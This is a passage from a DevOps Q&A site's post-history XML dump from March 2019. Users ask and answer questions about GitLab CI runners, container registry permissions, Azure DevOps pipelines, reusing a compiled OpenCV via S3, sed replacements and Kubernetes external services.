effort.&#xA;&#xA;SCP up a bash script, and save yourself the trouble.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21045" PostHistoryTypeId="2" PostId="6624" RevisionGUID="a9b446ec-773f-4a50-ab68-f909edbc125d" CreationDate="2019-03-16T03:00:58.083" UserId="12920" Text="I want to do the build of my image on a shared runner and build it on gitlab registry.&#xD;&#xA;&#xD;&#xA;then I want to pull that image, on my server using the runner on my server using shell executor. &#xD;&#xA;&#xD;&#xA;but I face a problem, on my shell executor when i try to run a docker command, gives me this error&#xD;&#xA;&#xD;&#xA;    $ docker info&#xD;&#xA;    error during connect: Get http://docker:2375/v1.37/info: dial tcp: lookup docker on 172.31.0.2:53: no such host&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;here is my gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;    image: docker:stable&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      - docker:dind&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      CONTAINER_IMAGE: registry.gitlab.com/$CI_PROJECT_PATH&#xD;&#xA;      DOCKER_HOST: tcp://docker:2375&#xD;&#xA;      DOCKER_DRIVER: overlay2&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;&#xD;&#xA;    before_script:&#xD;&#xA;      - docker info&#xD;&#xA;      - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.com&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;         - docker pull $CONTAINER_IMAGE:latest || true&#xD;&#xA;         - docker build -f docker-images/web/Dockerfile --cache-from  $CONTAINER_IMAGE:latest --tag $CONTAINER_IMAGE:$CI_COMMIT_SHA --tag $CONTAINER_IMAGE:latest .&#xD;&#xA;         - docker push $CONTAINER_IMAGE:$CI_COMMIT_SHA&#xD;&#xA;         - docker push $CONTAINER_IMAGE:latest&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;        - docker pull $CONTAINER_IMAGE:latest || true&#xD;&#xA;      tags:&#xD;&#xA;        - deploy&#xD;&#xA;        - shell&#xD;&#xA;&#xD;&#xA;I tested without the build stage, and comented the variables DOCKER_HOST and services docker:dind, and works. Execute the docker commands and works well.&#xD;&#xA;&#xD;&#xA;I'm new on this, i think the problem is that my shell executor tries to comunicate with the docker  host tcp://docker:2375, and not my docker engine.&#xD;&#xA;&#xD;&#xA;What can I do?. I was thinking on call a shell script, and run the docker commands on this script. But I would like to do it directly on my gitlab-ci.yml&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21046" PostHistoryTypeId="1" PostId="6624" RevisionGUID="a9b446ec-773f-4a50-ab68-f909edbc125d" CreationDate="2019-03-16T03:00:58.083" UserId="12920" Text="How to use shared runner (dind) for build stage and runner with shell executor on my server for deploy stage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21047" PostHistoryTypeId="3" PostId="6624" RevisionGUID="a9b446ec-773f-4a50-ab68-f909edbc125d" CreationDate="2019-03-16T03:00:58.083" UserId="12920" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21048" PostHistoryTypeId="2" PostId="6625" RevisionGUID="0d3121a6-46e5-47f4-bb61-403ba1988b72" CreationDate="2019-03-16T03:24:05.433" UserId="47" Text="Yes, it's possible. Fundamentally GCR is built on top of Cloud Storage, with roughly the same basic access control:&#xD;&#xA;&#xD;&#xA;- public, i.e completely accessible&#xD;&#xA;- private, with quite flexible access control from pretty much anywhere, even from outside the GCP domain - being in a certain GCP project is rather irrelevant.&#xD;&#xA;&#xD;&#xA;From [Granting users and other projects access to a registry][1]:&#xD;&#xA;&#xD;&#xA;&gt; To give specific users or container clusters running on other projects&#xD;&#xA;&gt; permissions to pull images from a registry, you need to grant read&#xD;&#xA;&gt; permission on the underlying Cloud Storage bucket.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4. Select the **Permissions** tab.&#xD;&#xA;&gt; 5. Click **Add members**.&#xD;&#xA;&gt; 6. From the menu that appears, fill the **Members** field with the email addresses of users needing read permission, separated by commas.&#xD;&#xA;&gt; This email address can be one of the following:&#xD;&#xA;&gt; &#xD;&#xA;&gt;   - a Google account (for example, `someone@example.com`)&#xD;&#xA;&gt;   - a Cloud IAM service account&#xD;&#xA;&gt;   - the [Compute Engine default service account][2] of another project. This account is used by the Google Kubernetes Engine to pull&#xD;&#xA;&gt; container images clusters by default. It is in the form&#xD;&#xA;&gt; `[PROJECT_NUMBER]-compute@developer.gserviceaccount.com`, where&#xD;&#xA;&gt; `[PROJECT-NUMBER]` is the [GCP project number][3] of the project that&#xD;&#xA;&gt; is running the Google Kubernetes Engine cluster.&#xD;&#xA;&#xD;&#xA;There are some differences from Cloud Storage, most notable ones being:&#xD;&#xA;&#xD;&#xA;- access control applies to the bucket level only, object level access is ignored&#xD;&#xA;- GCR can only have a single bucket per GCP project&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/container-registry/docs/access-control#granting_users_and_other_projects_access_to_a_registry&#xD;&#xA;  [2]: https://cloud.google.com/compute/docs/access/service-accounts#compute_engine_default_service_account&#xD;&#xA;  [3]: https://cloud.google.com/resource-manager/docs/creating-managing-projects#identifying_projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="21049" PostHistoryTypeId="2" PostId="6626" RevisionGUID="f5255adc-7633-456b-b118-eb596edbc68d" CreationDate="2019-03-16T04:05:05.650" UserId="47" Text="Because you have a large project with multiple teams using multiple development branches will give you merge headaches, especially if the core and extended features have a significant overlap in the codebase. &#xD;&#xA;&#xD;&#xA;The extended feature team(s) will spend a lot of time periodically merging the core feature changes and dealing with the fallout from each such merge, which can not be properly/realistically estimated ahead of time. If there are multiple teams working on the extended feature they might decide to go on separate branches to further isolate and protect themselves against these periodic merge instabilities. It's just an illusion, that'll make things even worse at the overall project level - it can lead to [Branch Merge Hell][1].&#xD;&#xA;&#xD;&#xA;You may want to take a look at [Trunk-Based Development (TBD)][2], with [tag:feature-flags] and/or [branch by abstraction][3]. Most effective when using a [gated-commit][4] CI system.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.agilebuddha.com/agile/from-branch-merge-hell-to-trunk-based-development-a-bank-agile-case-study-2-n/&#xD;&#xA;  [2]: https://trunkbaseddevelopment.com/&#xD;&#xA;  [3]: https://martinfowler.com/bliki/BranchByAbstraction.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Gated_commit" ContentLicense="CC BY-SA 4.0" />
  <row Id="21050" PostHistoryTypeId="2" PostId="6627" RevisionGUID="db958aa7-97db-4efb-881b-5b6359b99d74" CreationDate="2019-03-16T07:09:03.760" UserId="12923" Text="Let's say you've got several code repositories on GitHub. You want to build, test and deploy them. You picked a continuous integration service (e.g. Travis CI, AppVeyor or something else) and wrote some scripts for building, testing and deploying. &#xD;&#xA;&#xD;&#xA;If your projects are very similar, let's say all of them written in Golang, the result of the build is always a Docker image and deployment is always a push to Docker Hub, you don't want to duplicate the scripts across all of your repositories. How would you avoid that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21051" PostHistoryTypeId="1" PostId="6627" RevisionGUID="db958aa7-97db-4efb-881b-5b6359b99d74" CreationDate="2019-03-16T07:09:03.760" UserId="12923" Text="How to avoid build scripts duplication" ContentLicense="CC BY-SA 4.0" />
  <row Id="21052" PostHistoryTypeId="3" PostId="6627" RevisionGUID="db958aa7-97db-4efb-881b-5b6359b99d74" CreationDate="2019-03-16T07:09:03.760" UserId="12923" Text="&lt;continuous-integration&gt;&lt;automation&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21053" PostHistoryTypeId="2" PostId="6628" RevisionGUID="739d16ad-cfa1-40ec-a012-5c29a34651cf" CreationDate="2019-03-16T10:53:52.223" UserId="12305" Text="You didn't say how the sls file is executed.&#xD;&#xA;&#xD;&#xA;- One way would be to [pass pillars on command line][1]:&#xD;&#xA;```&#xD;&#xA;salt '*' state.apply ftpsync pillar='{&quot;ftpusername&quot;: &quot;test&quot;, &quot;ftppassword&quot;: &quot;0ydyfww3giq8&quot;}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Or you can set the group name as a [grain][2] on the minion in advance.&#xD;&#xA;&#xD;&#xA;- Yet another way would be to set the group name as a jinja variable in the sls formula, depending on the hostname grain. Assuming your host names are set and standardized.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.saltstack.com/en/getstarted/config/pillar.html#salt-pillar-on-the-command-line&#xD;&#xA;  [2]: https://docs.saltstack.com/en/latest/topics/grains/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21054" PostHistoryTypeId="2" PostId="6629" RevisionGUID="c23e471c-defa-43cd-af69-3742b2b6044a" CreationDate="2019-03-16T14:09:38.917" UserId="12926" Text="I'm finding the Azure devops documentation pretty poor - or maybe I'm just not familiar enough with it for it to make any kind of sense to me. Having said that, I've managed to create a build pipeline that runs tests and published my project, then I created a release pipeline and have successfully released to an Azure App Service.&#xD;&#xA;&#xD;&#xA;However, I honestly don't know what is happening behind the scenes...&#xD;&#xA;&#xD;&#xA;I have this build pipeline yaml:&#xD;&#xA;&#xD;&#xA;    # ASP.NET Core&#xD;&#xA;    # Build and test ASP.NET Core projects targeting .NET Core.&#xD;&#xA;    # Add steps that run tests, create a NuGet package, deploy, and more:&#xD;&#xA;    # https://docs.microsoft.com/azure/devops/pipelines/languages/dotnet-core&#xD;&#xA;    &#xD;&#xA;    trigger:&#xD;&#xA;    - master&#xD;&#xA;    &#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'Ubuntu-16.04'&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      buildConfiguration: 'Release'&#xD;&#xA;    &#xD;&#xA;    steps:&#xD;&#xA;    - script: dotnet restore&#xD;&#xA;      displayName: Restoring Dependencies&#xD;&#xA;    &#xD;&#xA;    - script: dotnet build --configuration $(buildConfiguration)&#xD;&#xA;      displayName: 'dotnet build $(buildConfiguration)'&#xD;&#xA;    &#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      displayName: Unit Tests&#xD;&#xA;      inputs:&#xD;&#xA;        command: test&#xD;&#xA;        projects: '**/*Tests/*.csproj'&#xD;&#xA;        arguments: '--configuration $(buildConfiguration)'&#xD;&#xA;    &#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      displayName: Publishing&#xD;&#xA;      inputs:&#xD;&#xA;        command: publish&#xD;&#xA;        publishWebProjects: True&#xD;&#xA;        arguments: '--configuration $(BuildConfiguration) --output $(Build.ArtifactStagingDirectory)'&#xD;&#xA;        zipAfterPublish: True&#xD;&#xA;    &#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;&#xD;&#xA;I'm not sure if I need both the `DotNetCoreCLI@2` and `PublishBuildArtifacts@1` publishing tasks. Are they doing the same thing? Where are the files being published to? Can I see them?&#xD;&#xA;&#xD;&#xA;And I've created a Release Pipeline where artifacts points at the above release pipeline:&#xD;&#xA;&#xD;&#xA;    #Your build pipeline references an undefined variable named ‘Parameters.ConnectedServiceName’. Create or edit the build pipeline for this YAML file, define the variable on the Variables tab. See https://go.microsoft.com/fwlink/?linkid=865972&#xD;&#xA;    #Your build pipeline references an undefined variable named ‘Parameters.WebAppKind’. Create or edit the build pipeline for this YAML file, define the variable on the Variables tab. See https://go.microsoft.com/fwlink/?linkid=865972&#xD;&#xA;    #Your build pipeline references an undefined variable named ‘Parameters.WebAppName’. Create or edit the build pipeline for this YAML file, define the variable on the Variables tab. See https://go.microsoft.com/fwlink/?linkid=865972&#xD;&#xA;    &#xD;&#xA;    steps:&#xD;&#xA;    - task: AzureRmWebAppDeployment@4&#xD;&#xA;      displayName: 'Deploy Azure App Service'&#xD;&#xA;      inputs:&#xD;&#xA;        azureSubscription: '$(Parameters.ConnectedServiceName)'&#xD;&#xA;        appType: '$(Parameters.WebAppKind)'&#xD;&#xA;        WebAppName: '$(Parameters.WebAppName)'&#xD;&#xA;&#xD;&#xA;How is the release pipeline moving the files to the Azure App Service, and can I look to see what is going to the App Service?&#xD;&#xA;&#xD;&#xA;Bit of a noob with devops as you might have guessed&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21055" PostHistoryTypeId="1" PostId="6629" RevisionGUID="c23e471c-defa-43cd-af69-3742b2b6044a" CreationDate="2019-03-16T14:09:38.917" UserId="12926" Text="Can anyone explain what is happening in an Azure Devops build and release in more detail?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21056" PostHistoryTypeId="3" PostId="6629" RevisionGUID="c23e471c-defa-43cd-af69-3742b2b6044a" CreationDate="2019-03-16T14:09:38.917" UserId="12926" Text="&lt;azure&gt;&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21057" PostHistoryTypeId="2" PostId="6630" RevisionGUID="61fdfae8-131f-4fbd-855a-f938e792de96" CreationDate="2019-03-16T18:05:43.377" UserId="12903" Text="We have two clusters with multiple namespaces in each in one project. However our stackdriver is reporting all errors together in whole project and marking them as ‘gke_instances’ - there must be a better way to track where is the error coming from exactly (cluster/namespace/workload name)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21058" PostHistoryTypeId="1" PostId="6630" RevisionGUID="61fdfae8-131f-4fbd-855a-f938e792de96" CreationDate="2019-03-16T18:05:43.377" UserId="12903" Text="How to differentiate logs on the stackdriver?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21059" PostHistoryTypeId="3" PostId="6630" RevisionGUID="61fdfae8-131f-4fbd-855a-f938e792de96" CreationDate="2019-03-16T18:05:43.377" UserId="12903" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21060" PostHistoryTypeId="2" PostId="6631" RevisionGUID="572a76cd-9992-43ed-b9df-3d3e2dcffca4" CreationDate="2019-03-16T18:43:37.680" UserId="11537" Text="Every time I spawn a new host I need to compile OpenCV on Ubuntu following official manual. The problem is that it takes about 20-30 minutes depends on the VM type. Is it somehow possible to store the compiled OpenCV i.e. at S3 as a package or any othey way to avoid compilation?&#xD;&#xA;&#xD;&#xA;create a VM image doesn't fit my purpose" ContentLicense="CC BY-SA 4.0" />
  <row Id="21061" PostHistoryTypeId="1" PostId="6631" RevisionGUID="572a76cd-9992-43ed-b9df-3d3e2dcffca4" CreationDate="2019-03-16T18:43:37.680" UserId="11537" Text="compiled opencv copy to another host" ContentLicense="CC BY-SA 4.0" />
  <row Id="21062" PostHistoryTypeId="3" PostId="6631" RevisionGUID="572a76cd-9992-43ed-b9df-3d3e2dcffca4" CreationDate="2019-03-16T18:43:37.680" UserId="11537" Text="&lt;amazon-ec2&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21063" PostHistoryTypeId="2" PostId="6632" RevisionGUID="7300f3d4-bd6a-469b-8f27-02cde277d828" CreationDate="2019-03-16T19:31:47.297" UserId="12930" Text="It depends, pull request reviews should be done before merging to master. If you are using CI/CD, that would occur as often as you can schedule releases. I prefer the fork and pull request workflow, keeping the base repository cleaner. The devs can organize how they choose on their end as long as they are routinely fetching from the base master branch. Integration tests happen after merge to master, then there are conditions that must be met prior to release within the CI/CD pipeline that if not met will break the build. You can use labels or the merge requests themselves to describe what’s released. You don’t necessarily need feature branches. It just depends on the complexity of your project(s) and your team. More branches = more complicated from my perspective, particularly with dependencies on multiple repositories. Don’t tell the devs how to work, if you can avoid it, just set the requirements for approvals, rollbacks, and workflows necessary to guarantee you can report effectively to your management. Keep it simple." ContentLicense="CC BY-SA 4.0" />
  <row Id="21064" PostHistoryTypeId="5" PostId="6632" RevisionGUID="fd3d6731-aedf-4e09-810a-41b285281429" CreationDate="2019-03-16T19:37:48.623" UserId="12930" Comment="added 219 characters in body; added 4 characters in body; added 61 characters in body; added 111 characters in body" Text="It depends, pull request reviews should be done before merging to master. If you are using CI/CD, that would occur as often as you can schedule releases. I prefer the fork and pull request workflow, keeping the base repository cleaner. The devs can organize how they choose on their ends in their forks as long as they are routinely fetching from the base master branch. &#xA;&#xA;If a dev quits, no one wants to be confused by what he/she was working on, so there is a plus with fork and pull there as well. Likely the next guy will start over from the approved master branch anyway.&#xA;&#xA;Integration tests happen after merge to master, then there are conditions that must be met prior to release within the CI/CD pipeline that if not met will break the build. Use the same branch for all environments, with environment variables if there are differences in environments. You can use labels or the merge requests themselves to describe what’s released. You don’t necessarily need feature branches. It just depends on the complexity of your project(s) and your team. More branches = more complicated from my perspective, particularly with dependencies on multiple repositories. Don’t tell the devs how to work, if you can avoid it, just set the requirements for approvals, rollbacks, and workflows necessary to guarantee you can report effectively to your management. Keep it simple. Good devs will figure out how to work together on their own." ContentLicense="CC BY-SA 4.0" />
  <row Id="21065" PostHistoryTypeId="2" PostId="6633" RevisionGUID="395cbe49-75ba-4cd8-9994-746e5c7c655b" CreationDate="2019-03-16T20:51:57.563" UserId="10" Text="Our company has broken up most of our large Monolith application into smaller Microservices and we have a clear plan on how to get new services on Kubrenetes into a CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;However, we still have some parts of our applications which have not been broken up because of their database dependencies and the fact that they require downtime to deploy because of DB Migration issues. Part of the problem is that we have a large number of stored procedures which contain business logic in them.&#xD;&#xA;&#xD;&#xA;I've seen plenty of information about how to refactor code and APIs so that we can have Blue/Green/Canary deployments. But how do we this for DB changes or migrations without downtime?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21066" PostHistoryTypeId="1" PostId="6633" RevisionGUID="395cbe49-75ba-4cd8-9994-746e5c7c655b" CreationDate="2019-03-16T20:51:57.563" UserId="10" Text="What strategies exist to transition DB Migrations with Stored Procedures to Continuous Delivery?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21067" PostHistoryTypeId="3" PostId="6633" RevisionGUID="395cbe49-75ba-4cd8-9994-746e5c7c655b" CreationDate="2019-03-16T20:51:57.563" UserId="10" Text="&lt;databases&gt;&lt;migration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21068" PostHistoryTypeId="2" PostId="6634" RevisionGUID="35a705ea-1b05-49d6-b7de-5ece96e817b5" CreationDate="2019-03-16T20:58:51.790" UserId="47" Text="If the end result would be entirely contained in a directory somewhere you could simply archive that directory after the installation on one machine and restore it on the new machine. It does work for *some* apps.&#xD;&#xA;&#xD;&#xA;But after going through the [Ubuntu 18.04: How to install OpenCV][1] procedure and peeking into the makefiles I believe this wouldn't be applicable to OpenCV: its artefacts are spread in various places on a Ubuntu system.&#xD;&#xA;&#xD;&#xA;But I *think* it's possible to significantly reduce the installation time by skipping the actual build process, which appears to be the bulk of the process. From the above referenced procedure (which I'll also use in describing the proposed solution):&#xD;&#xA;&#xD;&#xA;&gt; This process may take 30 minutes or longer, so go for a nice walk if&#xD;&#xA;&gt; you are able.&#xD;&#xA;&#xD;&#xA;I'll re-use the referenced procedure for describing the proposal, with a few tweaks (I'd like to think that the tweaks would easily be portable to future/similar versions of the procedure):&#xD;&#xA;&#xD;&#xA;**In the initial installation:**&#xD;&#xA;&#xD;&#xA;- after the build completes but before the **Installing and verifying OpenCV** step insert:&#xD;&#xA;&#xD;&#xA;    **Step 4a: save the pre-built official OpenCV source tree to S3**&#xD;&#xA;&#xD;&#xA;    Follow [Copying from s3 to EC2 instance][2] instructions for S3 access setup, then run:&#xD;&#xA;&#xD;&#xA;        tar cvfz pre_built_opencv.tgz opencv*&#xD;&#xA;        s3cmd put pre_built_opencv.tgz s3://&lt;bucket_name&gt;&#xD;&#xA;&#xD;&#xA;    Optional: you can remove the local archive copy now:&#xD;&#xA;&#xD;&#xA;        rm pre_built_opencv.tgz&#xD;&#xA;&#xD;&#xA;**In the subsequent installations:**&#xD;&#xA;&#xD;&#xA;- replace **Step #2: Download the official OpenCV source** with:&#xD;&#xA;&#xD;&#xA;    **Step #2: Extract the pre-built official OpenCV source tree from S3**&#xD;&#xA;&#xD;&#xA;    Follow [Copying from s3 to EC2 instance][2] instructions for S3 access setup, then run:&#xD;&#xA;&#xD;&#xA;        cd ~&#xD;&#xA;        s3cmd get s3://&lt;bucket_name&gt;/pre_built_opencv.tgz pre_built_opencv.tgz&#xD;&#xA;        tar xvzf pre_built_opencv.tgz&#xD;&#xA;&#xD;&#xA;    Optional: you can remove the local archive copy now:&#xD;&#xA;&#xD;&#xA;        rm pre_built_opencv.tgz&#xD;&#xA;&#xD;&#xA;- in **Step #4: Configure and compile OpenCV for Ubuntu 18.04**:&#xD;&#xA;&#xD;&#xA;  - skip the **Configure OpenCV with CMake** section&#xD;&#xA;  - replace the **Compiling OpenCV on Ubuntu 18.04** section with:&#xD;&#xA;&#xD;&#xA;        **Enter the pre-built OpenCV build directory**&#xD;&#xA;&#xD;&#xA;            cd ~/opencv/build&#xD;&#xA;&#xD;&#xA;I didn't run it myself, but I think it *should* work, at least for VMs of the same type. &#xD;&#xA;&#xD;&#xA;I'd 1st try the same even for different VM types. If that doesn't work then I'd re-run the initial installation for them, using a different archive filename.&#xD;&#xA;    &#xD;&#xA;  [1]: https://www.pyimagesearch.com/2018/05/28/ubuntu-18-04-how-to-install-opencv/&#xD;&#xA;  [2]: https://serverfault.com/q/254599&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21069" PostHistoryTypeId="2" PostId="6635" RevisionGUID="5b4a270c-1df1-47d8-bd7b-3dad3ee17f67" CreationDate="2019-03-16T21:00:46.047" UserId="10" Text="Lets take this line by line:&#xD;&#xA;&#xD;&#xA;My additions are added as comments.&#xD;&#xA;&#xD;&#xA;    trigger:&#xD;&#xA;    - master&#xD;&#xA;    # The branch you are building.&#xD;&#xA;    &#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'Ubuntu-16.04'&#xD;&#xA;    # The type of VM your code will run on.&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      buildConfiguration: 'Release'&#xD;&#xA;    #This ends up defining which webconfig file to use.&#xD;&#xA;    &#xD;&#xA;    steps:&#xD;&#xA;    - script: dotnet restore&#xD;&#xA;      displayName: Restoring Dependencies&#xD;&#xA;    &#xD;&#xA;    - script: dotnet build --configuration $(buildConfiguration)&#xD;&#xA;      displayName: 'dotnet build $(buildConfiguration)'&#xD;&#xA;    # Builds your application&#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      displayName: Unit Tests&#xD;&#xA;      inputs:&#xD;&#xA;        command: test&#xD;&#xA;        projects: '**/*Tests/*.csproj'&#xD;&#xA;        arguments: '--configuration $(buildConfiguration)'&#xD;&#xA;    #Runs unit tests for your application&#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      displayName: Publishing&#xD;&#xA;      inputs:&#xD;&#xA;        command: publish&#xD;&#xA;        publishWebProjects: True&#xD;&#xA;        arguments: '--configuration $(BuildConfiguration) --output $(Build.ArtifactStagingDirectory)'&#xD;&#xA;        zipAfterPublish: True&#xD;&#xA;    #Pushes your application as an artifact (You'll be able to see it in your list of artifacts in Azure DevOps)&#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As for your release script, you are forgetting to pass in the values so your release script isn't doing anything at the moment.&#xD;&#xA;But when it does work, it will take the objects from your artifacts or container images and deploy them into your webapp the same way it would do it if you ran those commands from your local machine." ContentLicense="CC BY-SA 4.0" />
  <row Id="21070" PostHistoryTypeId="50" PostId="6370" RevisionGUID="e8f2ceb5-14fe-4632-968e-0198ea0fec39" CreationDate="2019-03-16T21:01:50.523" UserId="-1" />
  <row Id="21071" PostHistoryTypeId="2" PostId="6636" RevisionGUID="e5137d50-07d0-4fd0-ace6-0ab2399d1059" CreationDate="2019-03-17T02:14:18.687" UserId="4427" Text="Hey Sergey and Welcome to the DevOps StackExchange.&#xD;&#xA;&#xD;&#xA;I agree with @bgdnlp on using git submodules if you are really keen on keeping your bash scripts. &#xD;&#xA;&#xD;&#xA;I however would recommend you look at other tooling to facilitate your transition into the world of CI/CD. While your stack is simple keeping a couple bash scripts handy is a sensible way to go about it. As your stack gets more complicated and the need for more testing, secrets management, monitoring and performance testing arises I think you will find that your bash scripts are a little lacking. &#xD;&#xA;&#xD;&#xA;Where I work we use Jenkins to handle our builds which allows us to use shared libraries written in Groovy. We right one function and can now use it across many builds.&#xD;&#xA;&#xD;&#xA;You could also do it with some newer tools like http://buildbot.net/&#xD;&#xA;&#xD;&#xA;You could also convert your scripts to go or python and bundle them up in a package and install them each time on your build agent." ContentLicense="CC BY-SA 4.0" />
  <row Id="21072" PostHistoryTypeId="2" PostId="6637" RevisionGUID="fd45600f-7a25-4b87-9232-5d7b3d64c6ef" CreationDate="2019-03-17T06:52:58.883" UserId="12911" Text="My shell script looks like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&gt; `FAILED_REQUEST_DIRECTORY=/bla/bla2 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1234  -jar /xyz/abc-service-1.0-SNAPSHOT.jar --server.port=1111 --server.address=127.0.0.1 --kafka.bootstrap.servers=10.111.11.11:3197,10.112.12.111:3197,10.123.44.25:3197 --topic.pushcrew.encryptionKey=abc-def-egh --spring.application.name=name-sevice  --fb.verification.token=token --management.trace.include.payload=true --topic.pushcrew.hits=activity-logs --max.block.ms=1000 --pager.duty.api.key=apikey --dsn=dsn`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I have to replace values of keys in the command, for ex: replacing value of key `--server.address` with the value to shell script through a variable, how would I do it?&#xD;&#xA;&#xD;&#xA;I understand it would look like following if I had to replace value for key --server.address:&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s#--server.address=.* #$SERVER_ADDRESS#g;&#xD;&#xA;&#xD;&#xA;But how do I maintain the space that has to be there after the replacement and how do I make sure that part int the key only after `=`(equals to) and before  ` ` (space) gets replaced.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21073" PostHistoryTypeId="1" PostId="6637" RevisionGUID="fd45600f-7a25-4b87-9232-5d7b3d64c6ef" CreationDate="2019-03-17T06:52:58.883" UserId="12911" Text="replacing values in shell script using sed" ContentLicense="CC BY-SA 4.0" />
  <row Id="21074" PostHistoryTypeId="3" PostId="6637" RevisionGUID="fd45600f-7a25-4b87-9232-5d7b3d64c6ef" CreationDate="2019-03-17T06:52:58.883" UserId="12911" Text="&lt;shell-script&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21075" PostHistoryTypeId="50" PostId="6372" RevisionGUID="03fba085-7210-4d1e-90dd-765e8954bdfa" CreationDate="2019-03-17T12:01:00.467" UserId="-1" />
  <row Id="21076" PostHistoryTypeId="2" PostId="6638" RevisionGUID="c91e3880-d5da-4d1c-adea-278faa26c3bd" CreationDate="2019-03-17T13:23:39.687" UserId="12934" Text="This is my first foray into Kubernetes land... I'm still pretty shaky on how things work and still wrapping my head around some of the concepts so please bear with me there. &#xD;&#xA;&#xD;&#xA;The application I am deploying needs access to a couple of external third party http rest apis. What I **believe** I need from reading the docs is a service with an endpoint that points to the external rest apis ip. This is what I have in my helm templates:&#xD;&#xA;&#xD;&#xA;service.yaml:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        run: external_rest_service&#xD;&#xA;      name: external_rest_service&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - port: 443&#xD;&#xA;&#xD;&#xA;My endpoint.yaml:&#xD;&#xA;&#xD;&#xA;    kind: Endpoints&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;     name: external_rest_service&#xD;&#xA;    subsets:&#xD;&#xA;     - addresses:&#xD;&#xA;         - ip: https://www.someservice.com/api&#xD;&#xA;       ports:&#xD;&#xA;         - port: 443&#xD;&#xA;&#xD;&#xA;This of course doesn't work because ip needs to be an ip address. However, when I do an nslookup of the rest api I get back 3 different ip addresses which I believe may be because of round robin dns. Oddly when I try any of the ip addresses directly via curl I don't get a response. My questions are.. &#xD;&#xA;&#xD;&#xA;- Is this the correct or best practice approach to giving access to an outside resource from within my cluster?&#xD;&#xA;- Can I configure (and should I) configure Kubernetes to allow access via domain name instead of ip? If so.. where do I configure this? I'm not seeing it when searching the docs.&#xD;&#xA;&#xD;&#xA;If anyone could give me any guidance here I would really appreciate it. Thanks much!" ContentLicense="CC BY-SA 4.0" />
  <row Id="21077" PostHistoryTypeId="1" PostId="6638" RevisionGUID="c91e3880-d5da-4d1c-adea-278faa26c3bd" CreationDate="2019-03-17T13:23:39.687" UserId="12934" Text="Accessing External REST api From Wthin Kubernetes Cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="21078" PostHistoryTypeId="3" PostId="6638" RevisionGUID="c91e3880-d5da-4d1c-adea-278faa26c3bd" CreationDate="2019-03-17T13:23:39.687" UserId="12934" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
